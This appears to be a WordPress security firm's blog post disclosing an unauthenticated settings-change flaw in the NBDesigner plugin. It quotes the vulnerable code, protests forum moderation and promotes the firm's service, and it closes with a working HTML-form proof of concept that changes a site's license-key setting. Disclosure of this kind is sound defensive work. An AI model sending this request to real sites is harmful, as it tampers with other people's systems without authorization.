Would This Settings Change Vulnerability in NBDesigner Be What Hackers Are Interested In?
As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we found that yesterday a hacker looks to be probing for usage of the plugin NBDesigner, which has 2,000+ installs, by requesting the following files:
- /wp-content/plugins/web-to-print-online-designer/assets/js/dokan.js
- /wp-content/plugins/web-to-print-online-designer/changelog.txt
That plugin was closed on the Plugin Directory on September 8 for an unspecified reason.
In looking into what the hacker might be interested in exploiting we found it contains an issue similar to one in the plugin Advanced AJAX Product Filters that looks to have been exploited by hackers last week, though it seems the impact is more limited with this one.
The plugin registers the function setup_wizard() run during admin_init:
10 | add_action( 'admin_init', array( $this, 'setup_wizard' ) ); |
So it will run even for those not logged in to WordPress, which seems to not be intended.
Through that function without any security checks the functions nbd_setup_general_setup_save() and nbd_setup_page_save() in the file /includes/class-setup-wizard.php to run. Those function will save new values for settings without doing security checks either:
186 187 188 189 190 191 192 | public function nbd_setup_general_setup_save(){ $license_key = sanitize_text_field( $_POST['nbdesigner_license'] ); $nbdesigner_dimensions_unit = sanitize_text_field( $_POST['nbdesigner_dimensions_unit'] ); $nbdesigner_default_font_subset = sanitize_text_field( $_POST['nbdesigner_default_font_subset'] ); nbd_active_domain($license_key); update_option( 'nbdesigner_dimensions_unit', $nbdesigner_dimensions_unit ); update_option( 'nbdesigner_default_font_subset', $nbdesigner_default_font_subset ); |
238 239 240 241 242 243 244 245 246 | public function nbd_setup_page_save(){ $nbdesigner_create_your_own_page_id = sanitize_text_field( $_POST['nbdesigner_create_your_own_page_id'] ); $nbdesigner_designer_page_id = sanitize_text_field( $_POST['nbdesigner_designer_page_id'] ); $nbdesigner_gallery_page_id = sanitize_text_field( $_POST['nbdesigner_gallery_page_id'] ); $nbdesigner_logged_page_id = sanitize_text_field( $_POST['nbdesigner_logged_page_id'] ); update_option( 'nbdesigner_create_your_own_page_id', $nbdesigner_create_your_own_page_id ); update_option( 'nbdesigner_designer_page_id', $nbdesigner_designer_page_id ); update_option( 'nbdesigner_gallery_page_id', $nbdesigner_gallery_page_id ); update_option( 'nbdesigner_logged_page_id', $nbdesigner_logged_page_id ); |
The new values are sanitized, which in our quick checking seem to restrict cross-site scripting (XSS) from being able to caused by those, so unless a hacker didn’t realize that or realized how they could be use used to cause further damage some other way, it seems that wouldn’t be what they would be interested it.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause the “Active license key” shown of the /wp-admin/admin.php?page=nbdesigner&tab=printing_option to be changed to “proof of concept”.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php?page=nbd-setup" method="POST"> <input type="hidden" name="save_step" value="Continue" /> <input type="hidden" name="nbdesigner_license" value="proof of concept" /> <input type="submit" value="Submit" /> </form> </body> </html>